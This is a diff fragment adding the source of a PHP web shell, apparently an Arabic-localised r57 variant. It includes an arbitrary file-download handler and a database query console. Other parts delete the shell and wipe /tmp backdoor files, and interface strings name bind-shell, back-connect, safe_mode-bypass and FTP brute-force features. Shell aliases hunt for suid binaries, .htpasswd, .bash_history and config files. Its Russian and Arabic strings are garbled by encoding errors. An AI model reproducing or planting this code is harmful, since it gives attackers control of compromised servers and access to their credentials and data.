+ if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
+ break;
+ }
+ return 0;
+ }
+ function dump($table)
+ {
+ if(empty($table)) return 0;
+ $this->dump=array();
+ $this->dump[0] = '##';
+ $this->dump[1] = '## --------------------------------------- ';
+ $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s");
+ $this->dump[3] = '## Database: '.$this->base;
+ $this->dump[4] = '## Table: '.$table;
+ $this->dump[5] = '## --------------------------------------- ';
+ switch($this->db)
+ {
+ case 'MySQL':
+ $this->dump[0] = '## MySQL dump';
+ if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;
+ if(!$this->get_result()) return 0;
+ $this->dump[] = $this->rows[0]['Create Table'];
+ $this->dump[] = '## --------------------------------------- ';
+ if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;
+ if(!$this->get_result()) return 0;
+ for($i=0;$i<$this->num_rows;$i++)
+ {
+ foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}
+ $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
+ }
+ break;
+ case 'MSSQL':
+ $this->dump[0] = '## MSSQL dump';
+ if($this->query('SELECT * FROM '.$table)!=1) return 0;
+ if(!$this->get_result()) return 0;
+ for($i=0;$i<$this->num_rows;$i++)
+ {
+ foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
+ $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
+ }
+ break;
+ case 'PostgreSQL':
+ $this->dump[0] = '## PostgreSQL dump';
+ if($this->query('SELECT * FROM '.$table)!=1) return 0;
+ if(!$this->get_result()) return 0;
+ for($i=0;$i<$this->num_rows;$i++)
+ {
+ foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
+ $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
+ }
+ break;
+ case 'Oracle':
+ $this->dump[0] = '## ORACLE dump';
+ $this->dump[] = '## under construction';
+ break;
+ default:
+ return 0;
+ break;
+ }
+ return 1;
+ }
+ function close()
+ {
+ switch($this->db)
+ {
+ case 'MySQL':
+ @mysql_close($this->connection);
+ break;
+ case 'MSSQL':
+ @mssql_close($this->connection);
+ break;
+ case 'PostgreSQL':
+ @pg_close($this->connection);
+ break;
+ case 'Oracle':
+ @oci_close($this->connection);
+ break;
+ }
+ }
+ function affected_rows()
+ {
+ switch($this->db)
+ {
+ case 'MySQL':
+ return @mysql_affected_rows($this->res);
+ break;
+ case 'MSSQL':
+ return @mssql_affected_rows($this->res);
+ break;
+ case 'PostgreSQL':
+ return @pg_affected_rows($this->res);
+ break;
+ case 'Oracle':
+ return @ocirowcount($this->res);
+ break;
+ default:
+ return 0;
+ break;
+ }
+ }
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))
+ {
+ if(!$file=@fopen($_POST['d_name'],"r")) { err(1,$_POST['d_name']); $_POST['cmd']=""; }
+ else
+ {
+ @ob_clean();
+ $filename = @basename($_POST['d_name']);
+ $filedump = @fread($file,@filesize($_POST['d_name']));
+ fclose($file);
+ $content_encoding=$mime_type='';
+ compress($filename,$filedump,$_POST['compress']);
+ if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
+ header("Content-type: ".$mime_type);
+ header("Content-disposition: attachment; filename=\"".$filename."\";");
+ echo $filedump;
+ exit();
+ }
+ }
+if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo " "; die(); }
+if (!empty($_POST['cmd']) && $_POST['cmd']=="db_query")
+ {
+ echo $head;
+ $sql = new my_sql();
+ $sql->db = $_POST['db'];
+ $sql->host = $_POST['db_server'];
+ $sql->port = $_POST['db_port'];
+ $sql->user = $_POST['mysql_l'];
+ $sql->pass = $_POST['mysql_p'];
+ $sql->base = $_POST['mysql_db'];
+ $querys = @explode(';',$_POST['db_query']);
+ echo '';
+ if(!$sql->connect()) echo "Can't connect to SQL server
";
+ else
+ {
+ if(!empty($sql->base)&&!$sql->select_db()) echo "Can't select database
";
+ else
+ {
+ foreach($querys as $num=>$query)
+ {
+ if(strlen($query)>5)
+ {
+ echo "Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)." ";
+ switch($sql->query($query))
+ {
+ case '0':
+ echo "";
+ break;
+ case '1':
+ if($sql->get_result())
+ {
+ echo "";
+ foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);
+ $keys = @implode(" ", $sql->columns);
+ echo " ".$keys." ";
+ for($i=0;$i<$sql->num_rows;$i++)
+ {
+ foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES);
+ $values = @implode(" ",$sql->rows[$i]);
+ echo ' '.$values.' ';
+ }
+ echo "
";
+ }
+ break;
+ case '2':
+ $ar = $sql->affected_rows()?($sql->affected_rows()):('0');
+ echo " ";
+ break;
+ }
+ }
+ }
+ }
+ }
+ echo "";
+ echo in('hidden','db',0,$_POST['db']);
+ echo in('hidden','db_server',0,$_POST['db_server']);
+ echo in('hidden','db_port',0,$_POST['db_port']);
+ echo in('hidden','mysql_l',0,$_POST['mysql_l']);
+ echo in('hidden','mysql_p',0,$_POST['mysql_p']);
+ echo in('hidden','mysql_db',0,$_POST['mysql_db']);
+ echo in('hidden','cmd',0,'db_query');
+ echo "";
+ echo "Base: base."\"> ";
+ echo "".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."
";
+ echo " ";
+ echo " "; die();
+ }
+if(isset($_GET['delete']))
+ {
+ @unlink(__FILE__);
+ }
+if(isset($_GET['tmp']))
+ {
+ @unlink("/tmp/bdpl");
+ @unlink("/tmp/back");
+ @unlink("/tmp/bd");
+ @unlink("/tmp/bd.c");
+ @unlink("/tmp/dp");
+ @unlink("/tmp/dpc");
+ @unlink("/tmp/dpc.c");
+ }
+if(isset($_GET['phpini']))
+{
+echo $head;
+function U_value($value)
+ {
+ if ($value == '') return 'no value ';
+ if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
+ if ($value === null) return 'NULL';
+ if (@is_object($value)) $value = (array) $value;
+ if (@is_array($value))
+ {
+ @ob_start();
+ print_r($value);
+ $value = @ob_get_contents();
+ @ob_end_clean();
+ }
+ return U_wordwrap((string) $value);
+ }
+function U_wordwrap($str)
+ {
+ $str = @wordwrap(@htmlspecialchars($str), 100, ' ', true);
+ return @preg_replace('!(&[^;]*) ([^;]*;)!', '$1$2 ', $str);
+ }
+if (@function_exists('ini_get_all'))
+ {
+ $r = '';
+ echo '', 'Directive
Local Value
Master Value
';
+ foreach (@ini_get_all() as $key=>$value)
+ {
+ $r .= ''.ws(3).''.$key.' '.U_value($value['local_value']).'
'.U_value($value['global_value']).'
';
+ }
+ echo $r;
+ echo '
';
+ }
+echo " ";
+die();
+}
+if(isset($_GET['cpu']))
+ {
+ echo $head;
+ echo '';
+ $cpuf = @file("cpuinfo");
+ if($cpuf)
+ {
+ $c = @sizeof($cpuf);
+ for($i=0;$i<$c;$i++)
+ {
+ $info = @explode(":",$cpuf[$i]);
+ if($info[1]==""){ $info[1]="---"; }
+ $r .= ''.ws(3).''.trim($info[0]).' '.trim($info[1]).'
';
+ }
+ echo $r;
+ }
+ else
+ {
+ echo ''.ws(3).' ---
';
+ }
+ echo '
';
+ echo " ";
+ die();
+ }
+if(isset($_GET['mem']))
+ {
+ echo $head;
+ echo '';
+ $memf = @file("meminfo");
+ if($memf)
+ {
+ $c = sizeof($memf);
+ for($i=0;$i<$c;$i++)
+ {
+ $info = explode(":",$memf[$i]);
+ if($info[1]==""){ $info[1]="---"; }
+ $r .= ''.ws(3).''.trim($info[0]).' '.trim($info[1]).'
';
+ }
+ echo $r;
+ }
+ else
+ {
+ echo ''.ws(3).' ---
';
+ }
+ echo '
';
+ echo " ";
+ die();
+ }
+$lang=array(
+'ru_text1' =>'??????????? ???????',
+'ru_text2' =>'?????????? ?????? ?? ???????',
+'ru_text3' =>'????????? ???????',
+'ru_text4' =>'??????? ??????????',
+'ru_text5' =>'???????? ?????? ?? ??????',
+'ru_text6' =>'????????? ????',
+'ru_text7' =>'??????',
+'ru_text8' =>'???????? ?????',
+'ru_butt1' =>'?????????',
+'ru_butt2' =>'?????????',
+'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash',
+'ru_text10'=>'??????? ????',
+'ru_text11'=>'?????? ??? ???????',
+'ru_butt3' =>'???????',
+'ru_text12'=>'back-connect',
+'ru_text13'=>'IP-?????',
+'ru_text14'=>'????',
+'ru_butt4' =>'?????????',
+'ru_text15'=>'???????? ?????? ? ?????????? ???????',
+'ru_text16'=>'????????????',
+'ru_text17'=>'????????? ????',
+'ru_text18'=>'????????? ????',
+'ru_text19'=>'Exploits',
+'ru_text20'=>'????????????',
+'ru_text21'=>'????? ???',
+'ru_text22'=>'datapipe',
+'ru_text23'=>'????????? ????',
+'ru_text24'=>'????????? ????',
+'ru_text25'=>'????????? ????',
+'ru_text26'=>'????????????',
+'ru_butt5' =>'?????????',
+'ru_text28'=>'?????? ? safe_mode',
+'ru_text29'=>'?????? ????????',
+'ru_butt6' =>'???????',
+'ru_text30'=>'???????? ?????',
+'ru_butt7' =>'???????',
+'ru_text31'=>'???? ?? ??????',
+'ru_text32'=>'?????????? PHP ????',
+'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL',
+'ru_butt8' =>'?????????',
+'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include',
+'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql',
+'ru_text36'=>'???? . ???????',
+'ru_text37'=>'?????',
+'ru_text38'=>'??????',
+'ru_text39'=>'????',
+'ru_text40'=>'???? ??????? ???? ??????',
+'ru_butt9' =>'????',
+'ru_text41'=>'????????? ? ?????',
+'ru_text42'=>'?????????????? ?????',
+'ru_text43'=>'????????????? ????',
+'ru_butt10'=>'?????????',
+'ru_butt11'=>'?????????????',
+'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!',
+'ru_text45'=>'???? ????????',
+'ru_text46'=>'???????? phpinfo()',
+'ru_text47'=>'???????? ???????? php.ini',
+'ru_text48'=>'???????? ????????? ??????',
+'ru_text49'=>'???????? ??????? ? ???????',
+'ru_text50'=>'?????????? ? ??????????',
+'ru_text51'=>'?????????? ? ??????',
+'ru_text52'=>'????? ??? ??????',
+'ru_text53'=>'?????? ? ?????',
+'ru_text54'=>'????? ?????? ? ??????',
+'ru_butt12'=>'?????',
+'ru_text55'=>'?????? ? ??????',
+'ru_text56'=>'?????? ?? ???????',
+'ru_text57'=>'???????/??????? ????/??????????',
+'ru_text58'=>'???',
+'ru_text59'=>'????',
+'ru_text60'=>'??????????',
+'ru_butt13'=>'???????/???????',
+'ru_text61'=>'???? ??????',
+'ru_text62'=>'?????????? ???????',
+'ru_text63'=>'???? ??????',
+'ru_text64'=>'?????????? ???????',
+'ru_text65'=>'???????',
+'ru_text66'=>'???????',
+'ru_text67'=>'Chown/Chgrp/Chmod',
+'ru_text68'=>'???????',
+'ru_text69'=>'????????1',
+'ru_text70'=>'????????2',
+'ru_text71'=>"?????? ???????? ???????:\r\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \r\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \r\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)",
+'ru_text72'=>'????? ??? ??????',
+'ru_text73'=>'?????? ? ?????',
+'ru_text74'=>'?????? ? ??????',
+'ru_text75'=>'* ????? ???????????? ?????????? ?????????',
+'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find',
+'ru_text80'=>'???',
+'ru_text81'=>'????',
+'ru_text82'=>'???? ??????',
+'ru_text83'=>'?????????? SQL ???????',
+'ru_text84'=>'SQL ??????',
+'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????',
+'ru_text86'=>'?????????? ????? ? ???????',
+'ru_butt14'=>'???????',
+'ru_text87'=>'?????????? ?????? ? ?????????? ftp-???????',
+'ru_text88'=>'FTP-??????:????',
+'ru_text89'=>'???? ?? ftp ???????',
+'ru_text90'=>'????? ????????',
+'ru_text91'=>'???????????? ?',
+'ru_text92'=>'??? ?????????',
+'ru_text93'=>'FTP',
+'ru_text94'=>'FTP-????????',
+'ru_text95'=>'?????? ?????????????',
+'ru_text96'=>'?? ??????? ???????? ?????? ?????????????',
+'ru_text97'=>'????????? ??????????: ',
+'ru_text98'=>'??????? ???????????: ',
+'ru_text99'=>'* ? ???????? ?????? ? ?????? ???????????? ??? ???????????? ?? /etc/passwd',
+'ru_text100'=>'???????? ?????? ?? ????????? ??? ??????',
+'ru_text101'=>'???????????? ????? ???????????? (user -> resu) ??? ???????????? ? ???????? ??????',
+'ru_text102'=>'?????',
+'ru_text103'=>'???????? ??????',
+'ru_text104'=>'???????? ????? ?? ???????? ????',
+'ru_text105'=>'????',
+'ru_text106'=>'??',
+'ru_text107'=>'????',
+'ru_butt15'=>'?????????',
+'ru_text108'=>'????? ??????',
+'ru_text109'=>'????????',
+'ru_text110'=>'??????????',
+'ru_text111'=>'SQL-?????? : ????',
+'ru_text112'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ????????????? ??????? mb_send_mail',
+'ru_text113'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ???????? ?????????? ? ?????????????? imap_list',
+'ru_text114'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ??????????? ????? ? ?????????????? imap_body',
+'ru_text115'=>'???????? ??????????? ?????? ??????????? safe_mode, ??????????? ?????? ? compress.zlib:// ? copy()',
+'ru_text116'=>'?????????? ????',
+'ru_text117'=>'?',
+'ru_text118'=>'???? ??????????',
+'ru_text119'=>'?? ??????? ??????????? ????',
+'ru_err0'=>'??????! ?? ???? ???????? ? ???? ',
+'ru_err1'=>'??????! ?? ???? ????????? ???? ',
+'ru_err2'=>'??????! ?? ??????? ??????? ',
+'ru_err3'=>'??????! ?? ??????? ???????????? ? ftp ???????',
+'ru_err4'=>'?????? ??????????? ?? ftp ???????',
+'ru_err5'=>'??????! ?? ??????? ???????? ?????????? ?? ftp ???????',
+'ru_err6'=>'??????! ?? ??????? ????????? ??????',
+'ru_err7'=>'?????? ??????????',
+/* --------------------------------------------------------------- */
+'eng_text1' =>'ÇáÇãÑ ÇáãäÝÐ',
+'eng_text2' =>'ÊäÝíÐ ÇáÇæÇãÑ Ýí ÇáÓíÑÝÑ',
+'eng_text3' =>'ÇãÑ ÇáÊÔÛíá',
+'eng_text4' =>'ãßÇä Úãáß ÇáÇä Úáì ÇáÓíÑÝÑ',
+'eng_text5' =>'ÑÝÚ ãáÝ Çáì ÇáÓíÑÝÑ',
+'eng_text6' =>'ãÓÇÑ ãáÝß',
+'eng_text7' =>'ÇæÇãÑ ÌÇåÒå',
+'eng_text8' =>'ÇÎÊÑ ÇáÇãÑ',
+'eng_butt1' =>'ÊäÝíÐ',
+'eng_butt2' =>'ÑÝÜÚ',
+'eng_text9' =>'ÝÊÍ ÈæÑÊ Ýí ÇáÓíÑÝÑ Úáì /bin/bash',
+'eng_text10'=>'ÈÜæÑÊ',
+'eng_text11'=>'ÈÇÓæÑÏ ááÏÎæá',
+'eng_butt3' =>'ÝÊÍ',
+'eng_text12'=>'ÃÊÕÜÇá ÚÜßÓí',
+'eng_text13'=>'ÇáÇí Èí',
+'eng_text14'=>'ÇáãäÝÐ',
+'eng_butt4' =>'ÃÊÜÕÇá',
+'eng_text15'=>'ÓÍÈ ãáÝÇÊ Çáì ÇáÓíÑÝÑ',
+'eng_text16'=>'Úä ØÑíÞ',
+'eng_text17'=>'ÑÇÈØ ÇáãáÝ',
+'eng_text18'=>'ãßÇä äÒæáå',
+'eng_text19'=>'Exploits',
+'eng_text20'=>'ÅÓÊÎÏã',
+'eng_text21'=>' ÇáÇÓã ÇáÌÏíÏ',
+'eng_text22'=>'ÇäÈæÈ ÇáÈíÇäÇÊ',
+'eng_text23'=>'ÇáÈæÑÊ ÇáãÍáí',
+'eng_text24'=>'ÇáÓíÑÝÑ ÇáÈÚíÏ',
+'eng_text25'=>'ÇáãäÝÐ ÇáÈÚíÏ',
+'eng_text26'=>'ÇÓÊÎÏã',
+'eng_butt5' =>'ÊÔÛíá',
+'eng_text28'=>'ÇáÚãá Ýí ÇáæÖÚ ÇáÇãä',
+'eng_text29'=>'ããäæÚ ÇáÏÎæá',
+'eng_butt6' =>'ÊÛíÑ',
+'eng_text30'=>'ÚÑÖ ãáÝ',
+'eng_butt7' =>'ÚÑÖ',
+'eng_text31'=>'ÇáãáÝ ÛíÑ ãæÌæÏ',
+'eng_text32'=>'ÊäÝíÐ ßæÏ php Úä ØÑíÞ ÏÇáå eval',
+'eng_text33'=>'Test bypass open_basedir with cURL functions',
+'eng_butt8' =>'ÇÎÊÈÇÑ',
+'eng_text34'=>'Test bypass safe_mode with include function',
+'eng_text35'=>'Test bypass safe_mode with load file in mysql',
+'eng_text36'=>'ÇáÞÇÚÏÉ . ÇáÌÏæá',
+'eng_text37'=>'ÇÓã ÇáãÓÊÎÏã',
+'eng_text38'=>'ßáãÉ ÇáãÑæÑ',
+'eng_text39'=>'ÇáÞÇÚÏÉ',
+'eng_text40'=>'äÓÎÉ ãä ÌÏÇæá ÇáÞÇÚÏÉ',
+'eng_butt9' =>'äÓÎÉ',
+'eng_text41'=>'ÍÝÙ ÇáäÓÎÉ Ýí',
+'eng_text42'=>'ÊÚÏíá ÇáãáÝÇÊ',
+'eng_text43'=>'ÇáãáÝ ÇáãÑÇÏ ÊÚÏíáå',
+'eng_butt10'=>'ÍÝÙ',
+'eng_text44'=>'áÇÊÓÊØíÚ ÇáÊÚÏíá Úáì åÐÇ ÇáãáÝ ÝÞØ ÊÞÑÃ',
+'eng_text45'=>'Êã ÇáÍÝÙ',
+'eng_text46'=>'ÚÑÖ phpinfo()',
+'eng_text47'=>'ÑÄíÉ ÇáãÊÛíÑÇÊ Ýí php.ini',
+'eng_text48'=>'ãÓÍ ãáÝÇÊ ÇáÜ temp',
+'eng_butt11'=>'ÊÍÑíÑ ÇáãáÝ',
+'eng_text49'=>'ãÓÍ ÇáÓßÑÈÊ ãä ÇáÓíÑÝÑ',
+'eng_text50'=>'ÚÑÖ ãÚáæãÇÊ ÇáÐÇßÑÉ ÇáÑÆíÓíÉ',
+'eng_text51'=>'ÚÑÖ ãÚáæãÇÊ ÇáÐÇßÑÉ',
+'eng_text52'=>'ÈÍË äÕ',
+'eng_text53'=>'Ýí ÇáãÓÇÑ',
+'eng_text54'=>'ÈÍË Úä äÕ Ýí ÇáãáÝÇÊ',
+'eng_butt12'=>'ÈÍË',
+'eng_text55'=>'ÝÞØ Ýí ÇáãáÝÇÊ',
+'eng_text56'=>'áÇíæÌÏ :(',
+'eng_text57'=>'ÇäÔÇÁ/ãÓÍ ãáÝ/ãÌáÏ',
+'eng_text58'=>'ÇáÇÓã',
+'eng_text59'=>'ãáÝ',
+'eng_text60'=>'ãÌáÏ',
+'eng_butt13'=>'ÅäÔÇÁ /ãÓÍ',
+'eng_text61'=>'Êã ÅäÔÇÁ ÇáãáÝ',
+'eng_text62'=>'Êã ÅäÔÇÁ ÇáãÌáÏ',
+'eng_text63'=>'Êã ãÓÍ ÇáãáÝ',
+'eng_text64'=>'Êã ãÓÍ ÇáãÌáÏ',
+'eng_text65'=>'ÅäÔÇÁ',
+'eng_text66'=>'ãÓÍ',
+'eng_text67'=>'ÇáÊÕÑíÍ/ÇáãÓÊÎÏã/ÇáãÌãæÚÉ',
+'eng_text68'=>'ÇãÑ',
+'eng_text69'=>'ÅÓã ÇáãáÝ',
+'eng_text70'=>'ÇáÊÕÑíÍ',
+'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
+'eng_text72'=>'ÇáäÕ ÇáãÑÇÏ',
+'eng_text73'=>'ÈÍË Ýí ÇáãÌáÏÇÊ',
+'eng_text74'=>'ÈÍË Ýí ÇáãáÝÇÊ',
+'eng_text75'=>'* you can use regexp',
+'eng_text76'=>'ÇáÈÍË Úä äÕ Ýí ãáÝÇÊ ÈæÇÓØå find',
+'eng_text80'=>'ÇáäæÚ',
+'eng_text81'=>'ÇáÅÊÕÇáÇÊ',
+'eng_text82'=>'ÞæÇÚÏ ÇáÈíÇäÇÊ',
+'eng_text83'=>'ÊÔÛíá ÇãÑ ÇÓÊÚáÇã',
+'eng_text84'=>'ÇÓÊÚáÇã ÞÇÚÏÉ',
+'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
+'eng_text86'=>'ÊäÒíá ãáÝÇÊ ãä ÇáÓíÑÝÑ',
+'eng_butt14'=>'ÊÍãíá',
+'eng_text87'=>'ÊäÒíá ãáÝÇÊ ãä ÎÇÏã ÇáÇÝ Êí Èí',
+'eng_text88'=>'ÓíÑÝÑ ÇáÇÝ Êí Èí:ÇáãäÝÐ',
+'eng_text89'=>'ãáÝ Ýí ÇáÇÝ Êí Èí',
+'eng_text90'=>'ÇáÊÍæíá Çáì',
+'eng_text91'=>'ÇÑÔÝÉ',
+'eng_text92'=>'ãä ÛíÑ ÇáÇÑÔÝÉ',
+'eng_text93'=>'ÇáÇÝ Êí Èí',
+'eng_text94'=>'ÊÎãíä ÇáÇÝ Êí Èí',
+'eng_text95'=>'ÞÇÆãÉ ÇáãÓÊÎÏãíä',
+'eng_text96'=>'áã íÓÊØÚ ÓÍÈ ÞÇÆãÉ ÇáãÓÊÎÏãíä',
+'eng_text97'=>'Êã ÇáÝÍÕ: ',
+'eng_text98'=>'Êã ÈäÌÇÍ: ',
+'eng_text99'=>'* ÇÓÊÎÏã ÇÓãÇÁ ÇáãÓÊÎÏãíä Ýí ãáÝ /etc/passwd áÏÎæá ááÜ ftp',
+'eng_text100'=>'ÇÑÓÇá ãáÝ Çáì ÎÇÏã ÇáÇÝ Êí Èí',
+'eng_text101'=>'ÇÓÊÎÏã ÇáÇÓÇãí ãÚßæÓå áÊÎãíäåÇ',
+'eng_text102'=>'ÎÏãÇÊ ÇáÈÑíÏ',
+'eng_text103'=>'ÇÑÓÇá ÈÑíÏ',
+'eng_text104'=>'ÇÑÓÇá ãáÝ Çáì ÇáÇíãíá',
+'eng_text105'=>'Åáì',
+'eng_text106'=>'ãÜä',
+'eng_text107'=>'ÇáãæÖæÚ',
+'eng_butt15'=>'ÅÑÓÇá',
+'eng_text108'=>'ÇáÑÓÇáÉ',
+'eng_text109'=>'ãÎÝí',
+'eng_text110'=>'ÚÑÖ',
+'eng_text111'=>'ÓíÑÝÑ ÞæÇÚÏ ÇáÈíÇäÇÊ : ÇáãäÝÐ',
+'eng_text112'=>'ÞÑÇÆÉ ÇáãáÝÇÊ Úä ØÑíÞ ËÛÑÉ ÏÇáå mb_send_mail',
+'eng_text113'=>'ÞÑÇÆÉ ãÍÊæì ÇáãÌáÏÇÊ Úä ØÑíÞ via imap_list',
+'eng_text114'=>'ÞÑÇÆÉ ÇáãáÝÇÊ Úä ØÑíÞ ËÛÑÉ via imap_body',
+'eng_text115'=>'ÞÑÇÆÉ ÇáãáÝÇÊ Úä ØÑíÞ compress.zlib://',
+'eng_text116'=>'äÓÎ ãä',
+'eng_text117'=>'Çáì',
+'eng_text118'=>'Êã äÓÎ ÇáãáÝ',
+'eng_text119'=>'áÇíÓÊØíÚ ÇáäÓÎ',
+'eng_err0'=>'ÎØÇÁ ! áÇíãßä ÇáßÊÇÈÉ Úáì åÐÇ ÇáãáÝ ',
+'eng_err1'=>'ÎØÇÁ ! ÛíÑ ÞÇÏÑ Úáì ÞÑÇÆå åÐÇ ÇáãáÝ ',
+'eng_err2'=>'ÎØÇÁ! áÇíãßä ÇáÇäÔÇÁ ',
+'eng_err3'=>'ÎØÇÁ! ÛíÑ ÞÇÏÑ Úáì ÇáÇÊÕÇá ÈÇáÇÝ Êí Èí',
+'eng_err4'=>'ÎØÇÁ ! áÇÊÓÊØíÚ ÇáÏÎæá Çáì ÓíÑÝÑ ÇáÇÝ Êí Èí',
+'eng_err5'=>'ÎØÇÁ ! áÇÊÓÊØíÚ ÊÛíÑ ÇáãÌáÏ Ýí ÇáÇÝ Êí Èí',
+'eng_err6'=>'ÎØÇÁ ! áÇÊÓÊØíÚ ÇÑÓÇá ÑÓÇáå',
+'eng_err7'=>'ÇáÈÑíÏ ÇÑÓá',
+'eng_text200'=>'ÞÑÇÆÉ ÇáãáÝÇÊ Úä ØÑíÞ ËÛÑÉ copy()',
+'eng_text202'=>'ãÓÇÑ ÇáãáÝ ÇáãÑÇÏ ÞÑÇÆÊå',
+'eng_text300'=>'ÞÑÇÆå ÇáãáÝÇÊ Úä ØÑíÞ ËÛÑÉ curl()',
+'eng_text302'=>'ãÓÇÑ ÇáãáÝ ÇáãÑÇÏ ÞÑÇÆÊå',
+);
+/*
+?????? ??????
+????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? )
+?? ?????? ???? ????????? ??? ???????? ???????.
+*/
+$aliases=array(
+'ÇáÈÍË Úä ãáÝÇÊ suid'=>'find / -type f -perm -04000 -ls',
+'ÇáÈÍË Úä ãáÝÇÊ suid Ýí ÇáãÌáÏ ÇáÍÇáí'=>'find . -type f -perm -04000 -ls',
+'ÇáÈÍË Úä ãáÝÇÊ suid'=>'find / -type f -perm -02000 -ls',
+'ÇáÈÍË Úä ãáÝÇÊ suid Ýí ÇáãÌáÏ ÇáÍÇáí'=>'find . -type f -perm -02000 -ls',
+'ÇáÈÍË Úä ãáÝÇÊ config.inc.php'=>'find / -type f -name config.inc.php',
+'ÇáÈÍË Úä ãáÝÇÊ config.inc.php Ýí ÇáãÌáÏ ÇáÍÇáí'=>'find . -type f -name config.inc.php',
+'ÇáÈÍË Úä ãáÝÇÊ config* ÈÌãíÚ ÇáÇãÊÏÇÏÇÊ'=>'find / -type f -name "config*"',
+'ÇáÈÍË Úä ãáÝÇÊ config* Ýí ÇáãÌáÏ ÇáÍÇáí'=>'find . -type f -name "config*"',
+'ÇáÈÍË Úä ÇáãáÝÇÊ ÇáÞÇÈáÉ ááßÊÇÈÉ'=>'find / -type f -perm -2 -ls',
+'ÇáÈÍË Úä ÇáãáÝÇÊ ÇáÞÇÈáÉ ááßÊÇÈÉ Ýí ÇáãÌáÏ ÇáÍÇáí'=>'find . -type f -perm -2 -ls',
+'ÇáÈÍË Úä ÇáãÌáÏÇÊ ÇáÞÇÈáÉ ááßÊÇÈÉ'=>'find / -type d -perm -2 -ls',
+'ÇáÈÍË Úä ÇáãÌáÏÇÊ ÇáÞÇÈáÉ ááßÊÇÈÉ Ýí ÇáãÓÇÑ ÇáÍÇáí'=>'find . -type d -perm -2 -ls',
+'ÇáÈÍË Úä ãáÝÇÊ æãÌáÏÇÊ ÞÇÈáÉ ááßÊÇÈÉ'=>'find / -perm -2 -ls',
+'ÇáÈÍË Úä ãáÝÇÊ æãÌáÏÇÊ Ýí ÇáãÓÇÑ ÇáÍÇáí'=>'find . -perm -2 -ls',
+'ÇáÈÍË Úä ãáÝÇÊ service.pwd'=>'find / -type f -name service.pwd',
+'ÇáÈÍË Úä ãáÝÇÊ service.pwd Ýí ÇáãÓÇÑ ÇáÍÇáí'=>'find . -type f -name service.pwd',
+'ÇáÈÍË Úä ßá ãáÝÇÊ ÇáÌÏÑÇä ÇáäÇÑíÉ .htpasswd'=>'find / -type f -name .htpasswd',
+'ÇáÈÍË Úä ÌãíÚ ãáÝÇÊ ÇáÌÏÑÇä ÇáäÇÑíÉ Ýí ÇáãÓÇÑ ÇáÍÇáí'=>'find . -type f -name .htpasswd',
+'ÇáÈÍË Úä ÌãíÚ ãáÝÇÊ .bash_history'=>'find / -type f -name .bash_history',
+'ÇáÈÍË Úä ÌãíÚ ãáÝÇÊ .bash_history Ýí ÇáãÓÇÑ ÇáÍÇáí'=>'find . -type f -name .bash_history',
+'ÇáÈÍË Úä ÌãíÚ ãáÝÇÊ .mysql_history'=>'find / -type f -name .mysql_history',
+'ÇáÈÍË Úä ÌãíÚ ãáÝÇÊ .mysql_history Ýí ÇáãÓÇÑ ÇáÍÇáí'=>'find . -type f -name .mysql_history',
+'ÇáÈÍË Úä ÌãíÚ ãáÝÇÊ .fetchmailrc'=>'find / -type f -name .fetchmailrc',
+'ÇáÈÍË Úä ÌãíÚ ãáÝÇÊ .fetchmailrc Ýí ÇáãÓÇÑ ÇáÍÇáí'=>'find . -type f -name .fetchmailrc',
+'ÇÎÑ ãáÝÇÊ ãÔÛáå Ýí ÇáäÙÇã'=>'lsattr -va',
+'ÑÄíÉ ÇáÈæÑÊÇÊ ÇáãÝÊæÍÉ Ýí ÇáÓíÑÝÑ'=>'netstat -an | grep -i listen',
+'ÑÄíÉ ÍÇáÉ ÇáãÌáÏÇÊ æÇãßÇäíÉ ÇáÊäÝíÐ'=>'cat /etc/fstab',
+'ãÔÇåÏÉ ãáÝ ÇááæÞ áÏÎæá ÇáÓí ÈÇäá æÇáãæÇÞÚ Úáì ÇáÓíÑÝÑ'=>'cat /var/cpanel/accounting.log',
+'----------------------------------------------------------------------------------------------------'=>'ls -la'
+);
+$table_up1 = ":: ";
+$table_up2 = " ::
";
